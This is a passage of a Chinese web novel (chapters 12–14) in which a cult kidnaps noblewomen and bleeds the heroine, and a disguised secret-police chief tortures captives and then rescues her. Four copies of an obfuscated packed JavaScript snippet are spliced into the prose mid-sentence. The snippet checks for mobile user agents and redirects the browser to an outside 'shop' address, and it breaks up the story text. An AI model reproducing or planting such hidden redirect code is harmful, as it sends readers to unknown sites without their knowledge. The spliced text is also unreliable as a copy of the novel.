方才着火的地方只剩灰烬与水渍,空气中弥漫着焦糊与潮湿混合的难闻气味。 闵敖才仿佛从一场噩梦中挣脱,缓缓松开了紧握椅背的手。 他闭上眼,深深吸了几口气,再睁开时,眸中那片惊涛骇浪已被强行压下,只余下深不见底的幽潭。 他走到窗边,推开窗棂,双目无神地望向外面沉沉的夜色,想驱散被唤起的尘封记忆。 范凌站在墙根阴影里,大气不敢出,仔细端详着督主的背影,过了许久,确认他气息平稳,才敢挪动脚步,低声提议。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201878|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“督主,净世白羽教此番行事如此周密,绝非临时起意,必然在京城布局良久。他们对宋姑娘的行踪了如指掌,或许早有人暗中盯梢。” “要不,再翻翻‘影子’之前每日呈上来的详细汇报?” “嗯。” 不多时,文书捧着一叠册子进来,都是宋展月的日常记录,事无巨细,从出门时辰、同行者、到路线、停留地点、接触何人,甚至心情起伏都被“影子”记了下来。 上述内容,闵敖在每日批阅时早已看过。 此刻他再次拿起,一行一行看去。 五月初一,宋小姐出门采风,途经庄马大街西段,遇一乞女卖身葬父,驻足。宋小姐心生怜悯,赠予随身荷包,内约有银二十两,即登车离去。 闵敖眉心微皱,电光火石间,一道念头闪过。 - 被掳走后,宋展月与其他人一道,被蒙住眼睛塞住嘴,带到了马车上,周围都是嘤嘤的哭声。 不知过了多久,马车停了下来,有人粗暴地将她们一个个拽下车,推搡着走过一段崎岖不平、似乎是向下的坡道。 眼睛上的布条被猛地扯开,她不适地眯了眯眼,待适应后,入目是阴森的山洞,或者说,是人工开凿的地牢。 头顶是嶙峋的岩石,壁上挂着几盏昏黄油灯,火光飘忽不定,映照出地上杂乱的干草和污渍。 她们二十余人,全都被囚禁在了这里,门口有两个膀大腰圆的汉子守着。 看情况,她们这是被绑架了,只是不知道对方所图为何。 是求财,还是别的什么? 她们这些人,都出身于名门望族,身份非富即贵,被集体掳走,是震动朝野的惊天大案,官府现在肯定已经有所行动,父亲和哥哥也会想办法救她。 想到这里,宋展月心底稍定,却又升起更深的忧虑。 绑匪敢对她们下手,所谋定然不小,恐怕不会轻易放人。 她闭上眼睛,强迫自己冷静下来,先是深呼吸几口,才缓缓睁开眼,借着昏暗的光线,找到了离她不远、正抱着膝盖瑟瑟发抖的蒋浣溪。 她小心翼翼地朝她挪过去,刚动身,地牢门口走进一个黑衣人。 他手里拿着一张画像,就着壁灯的光亮,对着地牢里惊恐瑟缩的贵女们,一个一个地仔细比对。 扫视几圈后,他不耐烦地厉声道:“谁是宋展月?” 她整个人震在原地,下意识抬头望去,却与那黑衣人的目光对个正着。 他哼笑一声,又确认了眼手中的画像:“找的就是你,出来。” 12. 第 12 章 “你干什么,快放开我!” 宋展月被那人从地上拉起,她不断挣扎,却还是被轻易拖出了地牢。 心中阵阵发凉。 那么多人,唯独将她带走,到底是要做什么? 她重新被蒙住眼睛,堵住嘴,似乎又被塞进了马车。 车轮滚动,不知驶向何方,路途颠簸而漫长,许久之后,马车才终于停下。 待到重见天光、口中布团被取出时,她因长时间束缚早已头晕目眩,体力不支地靠坐在墙角,吃力抬眼——竟似身处一座祭坛之中。 四周墙壁绘满扭曲狰狞的图腾,在幽绿色的火焰映照下,仿佛活过来一般,散发着令人不寒而栗的邪异气息。 她害怕地蜷缩起身子,心脏狂跳。 一道脚步声由远及近,缓缓停顿在她的身前—— 来人竟是那日在街市偶遇、卖身葬父的女子! 她穿着黑色长袍,手里端着托盘,上面放着一只玉碗和一把短刃,将托盘放在了面前的石台上。 “你、你为什么会在这里?”宋展月惊讶发问,下意识往后缩了缩,背脊紧贴冰冷石壁。 女子朝她露出诡异微笑,“宋小姐,别来无恙。正式认识一下,我乃净世白羽教灵女。” 净世白羽教? 这个名字宋展月略有耳闻,不是早已经被朝廷剿灭了吗? “你们抓我,是要做什么?那天在街市相遇,也是你们故意为之吧?” “没错。”女子坦然承认,眼中闪烁着狂热的光芒:“宋小姐才华横溢,八字至纯至净,唯有你这样的人的血,才能唤醒我教圣物。” 正说着,两个跟她一样穿着的女子,应该也是所谓的灵女,手捧着一尊被黑色绸布覆盖的、尺余高的物件,小心翼翼地安置在祭台中央。 意识到不妙,宋展月瞳仁猛缩,扶着石壁站起,试图后退。 “什么血?这是什么意思?你们到底想干什么?” “哼。”女子不屑地嗤笑一声:“你的血能滋养圣物是你的荣幸。待圣物复苏,教主归来,我教必将光复,涤荡这污浊世间!” 这话的意思,难不成是要杀了她,用她的血来祭那圣物? “你疯啦!”宋展月又惊又怒,看了眼那尊物件,又看了眼面前狂热的女子。 她的失踪,家里人肯定急疯了,朝廷也会震怒。 按照常理,这等惊天大案必由狮牙卫负责…… “你敢动我,我父亲绝不会饶了你们,趁现在还未酿成大祸,回头是岸,不然到时候狮牙卫出行,尔等小命不保!” “哈?” 女子像是听到了什么笑话,仰头大笑,讥讽道:“哼,闵敖算个什么东西!” “他暗中囚禁我教教主十年,待圣物复苏,教主归来,定要将他千刀万剐,连同你们这些官家小姐,也一起血祭圣火,以慰藉我教无数惨死他手的教徒在天之灵!” 说罢,她不再多言,朝那两个灵女使了个眼色。 两人立刻一左一右上前,死死按住她的肩膀,力道大得让她动弹不得。 其中一人手持短刃,冰凉的刃锋贴上了她纤细的手腕。 刀锋划过,鲜血瞬间涌出,顺着宋展月白皙的手腕流淌,滴落在早已准备好的玉碗之中。 剧烈的疼痛与恐惧交织在一起,宋展月的视线开始模糊,耳边的声音也渐渐远去。 最终,她眼前一黑,彻底失去了意识。 夜半子时。 整个京城都笼罩在无形的紧张之中。 在看不见的阴影里,狮牙卫已将整条庄马大街的出入要道暗中封锁,密不透风。 身着玄色金丝绣狮纹常袍的闵敖,来到了那间门面简陋的当铺前。 内里火光通明,狮牙卫已将内外所有人等悉数控制,他们跪伏在地,噤若寒蝉。 一持刀的黑衣人自内院匆匆而出,正是狮牙卫四大佥事之一的戴去非,他心思细腻,主要负责京城暗桩稽查与追踪。 “禀督主,查到了。” 他一边说,一边侧身引着闵敖进入当铺后院。 只见当铺内院看似普通,但角落的水井旁,石板已被撬开,地表被挖出一个幽深洞口,一条粗糙的绳梯垂下,深不见底,显然可容人进入地下。 “十年来,净世白羽教的余孽,确如督主所料,未曾断绝。” “他们以各种身份潜伏入京城,有摊贩、伙计、更夫,甚至小吏家仆,都是一些不起眼的角色,渐渐织成了一张暗网。而这个当铺,便是他们其中一处据点。” “至于这地宫入口,”戴去非望向黑洞,“先遣队探查回来,发现其内通道复杂,岔路众多,但主干道似乎连接至城外落霞山方向。” “很大可能,被绑架的官家小姐,就是被关押在此处地下的某处枢纽。请督主示下,是否强攻突入?” 闵敖看了他一眼,接着打量起这个陈旧洞口,目光锐利,仿佛要穿透这黑暗,看清里面所有的机关。 “此处,密不外泄。一应人等,暂押潮狱,把戏做足,这条街,照常。” “另外,除先遣队,再加两队精锐,跟我一起下去。”闵敖对一旁的范凌道:“你留在上面,控住局面,随时接应。” 戴去非愕然抬头,眼中闪过担忧:“督主,您亲自涉险吗?下面情况不明,还是让属下……” 回应他的,是闵敖已经迈向洞口的利落背影。 “带路。” 进入地道,内里远比想象的宽阔。 走在前方的戴去非举着火把,途遇小岔道,闵敖眼神一扫,身后自有狮牙卫默契地分出两人,隐入岔道把守,队伍继续朝主干通道深处而去。 行进许久。 似乎抵达了一处较为开阔的空间,远远便能听见隐隐约约的女子啜泣和压抑的交谈声。 狮牙卫众人训练有素,无需命令,瞬间全部施展轻功,足尖点地,几乎不发出任何声音,迅捷逼近声源,直至眼前豁然开朗—— 一个稍加修整的天然洞窟中,一群黑衣汉子正聚在一起低声交谈、分发干粮,篝火映照着他们松懈的脸。 他们似乎并未料到这里会有人闯进来。 戴去非率先扑出,刀光闪过,立马制住了两名反应最快的守卫。 其余狮牙卫也一拥而上,如虎入羊群,不出几招,便将这十余名守卫尽数打翻在地,卸了关节,夺了兵刃。 他们被迫跪在地上,惊惶失措地抬头,看着一个身形伟岸、气势如渊的男人,自阴影中缓步走出,站定在他们面前。 火把的光照亮了他的面容。 此人的脸,他们刻骨铭心,是十年来教中上下口口相传、恨不得生啖其肉的梦魇——狮牙卫督主,闵敖。 “你、你、你竟然找到了这里……”为首的教徒声音颤抖,充满难以置信的恐惧。 闵敖看也未看他们,快步走进洞窟,心中默数了两遍瑟缩在一起的贵女,只有二十二个人,唯独少了她。 冰冷的怒意混合着更深的焦灼,无声爆发,他抽出手中长剑,抵在那名为首教徒的咽喉。 “说,还有一个人去了哪里?” 那人牙关紧咬,眼中虽惧,却一声不吭。 被解救的贵女一个接一个从洞窟深处蹒跚走出,经过闵敖身边时,蒋浣溪带着哭腔脱口而出:“月儿、月儿被他们的人给单独带走了,不知道去哪里了。” 这声惊呼令闵敖的眉宇皱得更紧,直至所有贵女都撤离了洞窟,他才缓缓收回剑,对着眼前这群沉默的俘虏,极轻、极冷地嗤笑一声。 “不说是吗?” 将长剑抛给身侧的戴去非后,他活动了一下手腕,骨节发出轻微脆响,懒得再多问一句,直接命人将他们其中一人拖出,用浸了水的牛筋绳将其死死地绑在洞窟中央的石柱上。 “看来你们还是不太了解我。” 他冷眼扫视,高大的身影被烛火投影在他们身上,宛如寒雾笼罩,令人不寒而栗。 “听好了,本督只问一次,你们轮流答。谁不说,或者谁说谎,”他指了指石柱上的人,“那就用他的命,给你们提个醒。他死了,就换下一个绑上去。直到有人说实话为止。” 语毕,擅长此道的狮牙卫上前,用手中短刃刺入被绑者大腿,并未伤及要害,却足以让鲜血瞬间涌出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201879|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染红裤管。 惨叫声响彻洞窟。 跪地众人却还是咬紧牙关,不肯吐露半个字。 第二刀、第三刀、第四刀……鲜红的血很快在地上汇成一滩。 当第十刀落下,那人的惨叫渐弱,头一歪,彻底没了声息,尸体被毫不留情地拖到一旁,旋即又拖上一人,酷刑重演,未有半分停歇。 洞窟内血腥气弥漫,恐惧如同实质,扼住了每个人的喉咙。 众人绝望地看着同伴的惨状,仿佛看到了自己的下场。 眼前的景象,让他们深切地体会到了何为“活阎王”,所有人都在害怕,下一个轮到自己。 长久的、令人窒息的沉默之后,终于有人扛不住了,他冷汗浸透后背,崩溃大哭。 “我说……我说!求督主饶命!”他扯着嗓子大喊,膝行至闵敖跟前。 “她……她被灵女带往祭坛了。因为圣物需要纯净的‘女子之血’滋养才能彻底复苏。此女命格万中无一,官印相生,正好契合圣物所需。” 净世白羽教有一尊供奉了几百年的神像,名唤白羽玄女。 据传乃天外陨铁所铸,内藏玄机。 其激活之法传女不传男,每次都需要献祭特定命格的女子鲜血。 因仪式残忍,且符合命格的女子难寻,此教历史上几乎每隔数十年才举行一次大型血祭,每次都有无辜少女被掳走,用以祭祀惨死。 戴去非揪住那人的后脖颈,将其一把提起,让他在前面带路。 结果却被那教徒带着,七拐八绕,从岔道离开,重新回到了地面,离开了落霞山范围,到了一处山坳。 只见一座荒废的庵庙坐落在荒草之中,透着说不出的诡异。 “你耍我?”戴去非怒目圆睁,手上力道加重。 “没、没有,是真的!”那教徒疼得龇牙咧嘴,慌忙解释,“祭坛就在这尼姑庵的下方。上面是掩护,真正的总坛在下面的密室里。” 闵敖一马当先,狮牙卫紧随其后,数十支火把骤然亮起,如同一条移动的火龙,立时引来了守门尼姑的注意。 她们看上去与洞窟中的守卫不同,个个目光如炬,太阳穴微微鼓起,反倒像是这段时间以来,日夜刺杀闵敖的那些死士。 “是你,闵敖,你竟敢找到这里!”其中一名‘尼姑’失声惊呼,不知从哪抽出一把剑横在身前。 闵敖策马而行,淡漠的眼神逐一掠过她们紧绷的脸,高高在上的身姿在火光中投下长长的阴影,带着一种睥睨蝼蚁般的冷漠。 ‘尼姑们’被他这种无视彻底激怒,当即气急败坏地一拥而上,嘴里喊着“为教主报仇!”就朝着马上的闵敖攻去。 狮牙卫见状,当即准备上前护卫,却见督主已经动了。 黑色身影自马背掠起,剑气猛烈,宛如凛冬寒雪。 挥动间,周遭气焰皆被涤荡一空,连火把的火星都顺着他的剑刃轨迹被带飞,在空中划出转瞬即逝的红线,直指要害,一剑封喉。 此情此景,在场所有人都震撼不已。 戴去非更是瞳孔紧缩,握着刀柄的手沁出冷汗。 他是第一次亲眼见到督主出手,看似随意的几招,却招招狠辣,劲势沉猛,是他生平所见过的人中,武功最高的,没有之一。 不过几息之间,地上就多了七八具尸体。 闵敖持剑而立,剑尖垂地,血珠顺着剑锋缓缓滴落,玄色的衣袍边角染红了一片。 他跨过地上的尸首,快步踏入尼姑庵破败的正殿。 殿内空无一人,但地上有一块明显松动的石板,一脚踏碎后,露出下方幽深的阶梯。 戴去非当即率人循阶而下。 密室通道的墙壁上,刻满了扭曲的经文与诡异图腾。不多时,一行人抵达一扇厚重石门前,破门而入后,内里竟是一座早已布置妥当的祭坛。 正中石台上,鲜血正顺着石槽缓缓流入下方一件非金非玉的圣物之中。 剧烈撞击声在耳边炸开,宋展月迷迷糊糊睁开眼,眼前却是一片模糊。 她拼尽全身力气,也只瞥见一角染血的金丝玄色衣袍,在混乱的光影里微微晃动。 13. 第 13 章 宋展月悠悠醒来时,耳边传来柴火噼啪的轻响。 她混沌地眨眨眼,几息之后,视线终于聚焦,眼前是堆不大的篝火,橘黄的火苗跳跃着,驱散了周遭的寒雾。 “你醒了。” 熟悉的声音从不远处响起。 她猛地惊起,伤口骤然扯痛,却顾不上分毫,惶然抬眼望去——林木环绕的空地,一匹通体漆黑的骏马被系在树干上。 男人站在五步之外,并未靠近篝火,身姿挺拔,半张脸被月色勾勒,半张脸映着跃动的火光,眉眼沉静,竟是红炉点雪的闵掌柜! “闵掌柜!你、你怎么会?” 她惊讶到语无伦次,挣扎着想撑起身,手腕却传来钝痛感,受伤的手腕被布条仔细包扎。 身下垫着质地上乘的靛青色男子外袍,旁边的平整石头上,还放着一个水囊和几块用油纸包着的糕点。 这是怎么回事,她怎么在这里? 她不是被人囚禁在了祭坛吗?那些人割开她的手腕取血…… 之后,之后又发生了什么? 她忘了,只记得后来眼前一黑,便彻底晕死过去。 对了,好像是有什么人硬闯进来了,她所看到的,那一角玄金色衣袍,是谁? “小心,别乱动,你流了很多血。”闵掌柜的声音透过篝火传来,带着惯有的沉稳,“先吃点东西。” 她对自己的状态一无所知,云里雾里,哪里有胃口吃东西。 “这、我怎么会在这里?我明明是在祭坛密室,是你救了我吗?” 她抬眼,琥珀色的眼眸在火光映照下显得格外清亮,我见犹怜。 “嗯。”眼前之人颔首:“姑娘被劫一案,京中震惊,朝野皆知。” “经商多年,走南闯北、见惯江湖,恰好认识了些三教九流的朋友,道是这山林近日有不明人士频繁出没,形迹可疑。” “闵某挂念姑娘安危,便冒险前来查探。幸得上天眷顾,寻到匪人巢穴时,正逢内里混乱,得以趁机将姑娘带出。” 静静听完,宋展月心中的疑虑非但未消,反而更添几分。 他这么说,似乎也合理。 可是此等大案,狮牙卫必定倾巢而出,全力搜救。 一个书斋掌柜,如何能赶在官府之前,精准找到这深山匪穴,甚至深入密室将她带出? 况且,她刚才明明看见一个穿着玄金色衣袍的人。 那金丝走线的纹样,像极了她当初见过的狮牙卫服饰制式…… 虽只一瞥,但那布料纹样,绝非寻常人家所能拥有。 一个惊悚的念头,不受控制地钻入脑海。 难不成,他就是闵敖本人! 此念一出,宋展月整个人如坠冰窟,指尖发麻,寒意从脚底直冲头顶,心脏像是被什么狠狠攥住,几乎停止跳动。 她望向眼前之人,仔细地、一寸寸地、打量他。 他的站姿——挺拔如松,有一种久居人上的沉稳气度;他的轮廓——冷硬分明,与传闻中那位闵督主阴鸷俊美的描述隐隐重合…… “宋姑娘?宋姑娘?” 低沉的声音将她从惊惧的思绪中拉回。 “啊!” 她没忍住惊呼一声,又强迫自己冷静下来,竭力将眼底的波澜藏于神色之下。 他站得离她比较远,不知是他恪守男女之防还是什么,总之他一直站在篝火之外的地方,没有靠近,这倒是让她稍稍放宽了心。 她定了定神,犹豫着开口:“我方才醒来前,迷迷糊糊似乎看到一个穿着玄金色衣服的人……” “你、你是换衣裳了吗?” 他低头看了眼自己的青袍,微微一笑:“你说这个?方才下雨,在山涧滑了一跤,外袍沾了泥泞,不便穿着,便暂且扔了。怎么,姑娘可是梦到了什么?” 他答得自然,眼神坦荡。 难道真的是她做梦吗?因为惊吓过度,所以才做了场糊涂梦? 可是……怎么会呢? 她不仅记得那一角衣袍,还记得上面沾染的血花,如果真是梦,会这般真切吗? 宋展月默默攥紧拳头。 “公子当真神通广大,这般偏僻之地,竟也能寻到我。” 闵掌柜微微勾唇,倚靠在树干上,双眼含笑:“姑娘抬举了,不过是银子开路,人情往来。” 他顿了顿,声音低缓了几分,声线柔和:“还有便是,得知姑娘落难,在下心中焦急,也顾不得许多,想着多一个人找,便多一分希望。” “幸好,一切都还来得及。” 她心头猛地一跳,只觉那话语太过温柔,竟让她一时不知该如何回应,迟疑片刻,还是忍不住开口追问: “你说救我,就你一个人来的吗?此处危机四伏……” 他神色不变:“自然不是单枪匹马。我雇了几个可靠的护卫同来,只是方才为引开可能的追兵,我已让他们分头行动,制造些动静。此处暂时应是安全的。” 看着他被火光柔和的侧脸,听着他坦然的解释,再想起他数次相助的恩情,以及那个冷酷暴戾的闵督主传闻。 两相对比,实在判若云泥。 宋展月在心中暗暗长舒一气。 是自己多心了。 闵掌柜怎么可能会是闵敖?他们怎么可能会是同一个人? 他要真是闵敖,又何须在她面前这般费心伪装、温言安抚?又怎会替她包扎,给她取暖、备好饮食清水? 救她、照顾她,这么做对他而言,又没有什么好处。 是她惊吓过度,疑神疑鬼,竟将救命恩人,与那等奸佞混为一谈。 心中愧疚翻涌,她神色渐渐缓和,声音也软了几分:“闵掌柜又救我一次,这番恩情,展月真不知该如何报答。” “姑娘言重了。” 他缓缓踱步,在篝火的三步远停了下来,依旧没有靠近火源,只是目光温和地看着她。 “姑娘与我,也算是笔墨相交的知音。得知姑娘有难,闵某岂能袖手旁观?若说报答。”他轻轻摇头:“姑娘平安,便是对闵某最好的回馈。” “来,先吃点东西。” 他说着,将一块温热软糯的糕点递到她面前。 这么一说,宋展月还真是饿了,她拿起糕点,糕点入口即化,甜丝丝的口感暂时抚慰了惊魂未定的心神。 林中雾气弥漫,不时有风穿过林间,带来阵阵寒意。 即便是坐在火堆前,她还是忍不住瑟缩了一下身子,又见闵掌柜依旧站在那不远不近的地方,身形在夜雾中显得有些孤峭。 她往旁边挪了挪,留出位置:“你也过来烤烤火吧,夜里太冷了。” “而且我们得快些离开这里才行,”想起其余被掳走的同伴,她担忧道,“还有其他被掳走的姑娘,不知她们现在如何了。” 闵敖闻声不动,皎洁的月光将他的身影笼罩,如辉月下尘,衬得他侧脸轮廓愈发清俊分明。 “不必,我不畏寒。” “至于旁人,姑娘无需担心,闵某已经遣人通知官府了,援兵很快会到。我们且安心等待即可。” 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201880|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是口头之语,却让宋展月莫名信任,总觉得眼前之人是一座可靠的山,既说是,那便是。 她依言点了点头,彻底放下心中担忧,伸长手臂烤火,暖融融的。 白皙皮肤在火光的映照下,透出温润如玉的光泽,一时安静非常,她下意识抬眼,却撞上那人似笑非笑的双眸。 他似乎一直在看着她。 “怎么了?”她摸了摸自己的脸蛋:“是粘上什么脏东西了吗?” 他轻轻摇头:“没有。只是想起古人常以美玉喻君子,如今看来,火光映佳人,亦别有风致。” 宋展月面颊微热,垂下眼睫,不知如何接话。 只觉他这话说得太过直白,却又带着读书人特有的含蓄风雅,让人恼也不是,不恼也不是。 她默默将最后一口糕点吃完,困意却不受控制地泛起。 眼下这种场合,她也不敢阖眼,强打起精神,抬眼望去时,发现他神色专注,似乎在侧耳倾听什么,眉头几不可察地蹙了起来。 “有人来了。”他忽然开口,迅速用泥土盖灭了篝火。 “很多人,是追兵。” 黑暗骤然笼罩,宋展月一时没回过神,慌忙起身,心脏因紧张而狂跳:“那现在怎么办?” “事急从权,得罪了。” 话音未落,她只觉腰间一紧,沉稳的力道传来,整个人便被轻松托起,稳稳落在了马背上。 紧接着,他也翻身而上,坐在她身后,双臂绕过她拉住缰绳,将她圈在了怀中。 - 在他们离开后不久, 一队举着火把、手持兵刃的人马便围上了方才的空地。 领先之人骑在骏马之上,面色凝重,正是誉王。 他身侧,是焦急万分的宋辞渊。 宋辞渊满面愁容,一身风尘,自事发至今未曾歇息过半刻。 得知誉王领兵封山,他当即请求同往。 二人率亲随在落霞山一带反复搜寻,直至方才接到狮牙卫传讯——被掳的贵女均已获救,唯独少了他的妹妹宋展月。 正焦灼时,亲兵来报,林间隐约有火光闪现,二人当即策马赶来。 此刻宋辞渊形容狼狈,因心绪不宁而坠马,衣袍被树枝勾破数处,沾满泥屑,全无往日丞相公子的清贵模样,满心满眼都只有妹妹安危。 为何偏偏只有妹妹被带走? 她如今身在何处、可曾受伤? 纷乱念头缠得他心神不宁,恨不能插翅飞去宋展月身边。 “禀王爷,宋大人,此处有刚熄灭的火堆,余温尚在,想必方才这里有人驻留,且离开不久。” “继续搜。”誉王下命:“仔细搜索周围,看是否有其他线索。” 宋辞渊翻身下马,查看火堆状态,的确尚有余温。 只是,这附近偶有猎户或樵夫夜宿,没法断定是否与妹妹一事相关,他长叹一气,焦虑更甚。 “子衡。”誉王策马过来,“稍安。既然贼人未伤宋姑娘性命,只将她单独带走,必定是对她有所图谋,或为勒索,或为其他。眼下她性命应是无虞的。本王既已至此,定会将她救出,平安带回。” 虽知是安慰之言,但此刻任何一丝希望都弥足珍贵。宋辞渊向他一拱手,声音沙哑:“谢殿下,子衡全仰仗您了。” 这厢。 宋展月被身后之人紧紧护着,马背颠簸,男人厚重的呼吸喷洒在她的颈间,炽热的心跳透过两人紧贴之处传来,沉稳而有力,宽阔的肩膀几乎将她整个人笼在其中,隔绝了凛冽的晨风。 14. 第 14 章 破晓已至。 天色越来越浅,缓缓从浓稠的墨蓝过渡至清冷的鱼肚白。 他们应是逃出了很远很远,周边都是陌生的山林景致,晨雾在林间缓缓流淌,完全没有追兵的声音。 当然了,从一开始她就没有听到追兵的声音,她都不懂,他是怎么得知有人追来的? 莫非他有千里耳不成? 马儿的奔袭似乎放缓了些许速度,能更清晰地感受到身后胸膛的起伏与温度,这让她极度不自然。 男女授受不亲,他们这样紧密接触,已是大大逾越了礼数,先前情急从权尚可解释,如今既已脱险,便再不能如此。 “停下,停下!”她提高了声音,同时身体微微前倾,试图拉开一点距离。 马儿渐渐停下,身后之人手臂微松,却并未立刻移开,他温热的呼吸拂过她的侧颈,宛如一缕荡漾的春风。 “嗯?是累了吗?” 把气喘匀,宋展月双手按在马鞍上尝试下来。 但她实在没骑过马,又因长时间颠簸而腿脚发软,一双手掌稳稳扶住她的腰侧,几乎是半托半抱将她接下,才让她平稳落地。 可双脚刚沾实地,她便一阵虚浮,头晕目眩,只得扶着树干缓了半晌,才慢慢找回力气,稳住身形。 “好、好了,我们逃出这么远,应该没事了,多谢闵掌柜相救。”她向后退开一步,拉开了两人之间过于亲密的距离。 “姑娘对在下避之不及,是因为誉王吗?” 突如其来的一句话,宛如静湖投石,泛起千层涟漪,宋展月猛地一怔,愕然抬头。 “——什么?” “殿下向姑娘求画一事,京中皆知,更有议亲之传闻。在下虽是一介商贾,却也略有耳闻。” 他垂眼,自嘲一笑,破晓的阳光穿透林间薄雾,落在他的眉眼,照亮他眸中的黯然。 “我还以为自己有幸,能得姑娘青眼,视为可交心的笔墨知己。” “原来不过是自作多情。” 宋展月张了张嘴,一时竟不知该如何回应。 她当然不是因为誉王。 殿下对她而言,是高高在上的天潢贵胄,是一抹印象中模糊不清的侧影。 她怎么可能会因为誉王,而疏远自己的救命恩人? 再说了,她哪有避之不及。 他却轻声续道:“是在下思虑不周了。姑娘与殿下门当户对,佳偶天成。方才情急之下,多有冒犯,怕是……污了姑娘清誉,也给殿下徒增烦恼。” 他声音轻淡,听似平静无波,内里却藏着几分涩意。 “若因殿下之故,姑娘此后不便再与在下往来,闵某也完全理解。只是,红炉点雪的大门,永远为姑娘敞开。” “不、不是这样的。”她急切解释。 “方才……方才拉开距离,实因男女有别,礼法如此。掌柜的于我恩重如山,展月铭记于心,岂会因他人而疏远恩人?那岂非成了忘恩负义之徒?” 她向着他靠近了几步,仰起脸,琥珀色的眼眸里映着晨光,神情是前所未有的认真。 “我与殿下不过是寻常相交,现下并无男女私情,即便以后议亲,那也无法阻止我感念、敬重闵掌柜。” “掌柜恩情,是展月私谊,与殿下无关。” 她一口气说完,注视着那抹挺拔背影,他长长的睫毛在眼睑下投出一小片阴影,此刻正微微颤动着,神色稍霁,眼底似有微光流转,唇边重新染上温和笑意。 “如此,是在下唐突,误会姑娘了。” 他向她微微躬身作揖,姿态诚恳。 “姑娘如此看重这份情谊,闵某必珍之重之。日后无论何事,只要姑娘开口,闵某义不容辞。” 见他终于笑了,宋展月顿觉松了一口气,微微一笑道:“掌柜勇武过人,更难得的是胸有丘壑,对书画之事见解独到,是展月欣赏敬佩之人,自然是我难得的笔墨知己。” 她说的都是真心话。 除了家人外,从来没有人对她这样好。 孤身闯入匪穴,于危急关头将她救出。 更难得的是,他与她志趣相投、谈吐风雅,句句都能说到她心坎上,宛如伯牙遇子期。 “上次答应掌柜的墨竹图已经画好了,待回京城,我便差人送去红炉点雪。” “好。”他颔首应下,目光地在她脸上停留一瞬,“姑娘所言,我很开心,没想到,闵某也能在姑娘心中占据些许分量。” 宋展月心头微乱,脸颊微微一热,只垂眸不语,默默跟着他继续前行。 和煦的阳光穿过林梢,洒下斑驳的光影,闵敖牵着马,两人并排而行,有一搭没一搭地说话,旁边是一条蜿蜒的河川,河水清澈见底,在晨光下泛着粼粼波光。 宋展月伸了伸懒腰,停下脚步,蹲在河边,伸长手臂去掬了一捧清凉的河水洗脸。 没注意到旁边的男人在她转身时,不动声色地做了个手势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208779|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林中影子一闪而逝。 溪边野花星星点点,露水在花瓣上闪闪发亮,若不是在逃亡,她还真想慢慢踱步,好好赏一赏这山间美景。 忽然,整齐的马蹄声由远及近。 只见一队身着黑色劲装、腰佩长刀的狮牙卫迅速逼近,为首之人是一个面容冷肃的中年男子。 他利落下马,对着她抱拳道:“请问,可是丞相府宋小姐?” “是……” 她下意识地后退半步,心头微紧,暗生警惕。 竟然是狮牙卫! 他们是怎么找到这里的,是因为闵掌柜的人通知了官府,官府又上报给了狮牙卫吗? 她当即朝他看去,却见他神色平静,对狮牙卫的到来并不惊讶。 “那太好了,属下等人找了您许久。” 那中年男子继续说:“我是狮牙卫佥事戴去非,接到线报说小姐被义士所救,脱险在此处,所以特来迎接护送。” 其实他现在一头雾水,搞不懂督主明明亲自在此,为什么还要伪装成不相干的“义士”? 为此他一直在心中反复演练,就怕一时嘴快,叫错称呼、露了破绽。 可乍一见身着青袍、气质温文的督主,他还是没忍住愣了一愣。 这般斯文模样,他从前从未见过。 做戏做全套,他朝督主抱拳,语气公事公办又带着感激:“想必就是这位义士救了宋小姐?多谢义士仗义相助。” 闵敖疏离颔首:“举手之劳,不足挂齿。幸而宋小姐无恙。” 宋展月默默看着两人,从对话中大致明白是闵掌柜通知的人,她上前一步,“对,正是这位闵掌柜将我自贼人手中救出,其他人现在如何了,也救出了吗?” “是。”戴去非言简意赅:“其余贵女皆已安然寻回,正由属下同僚护送返京,小姐无需挂心。” 接着,他侧身示意,一辆马车驶了过来。 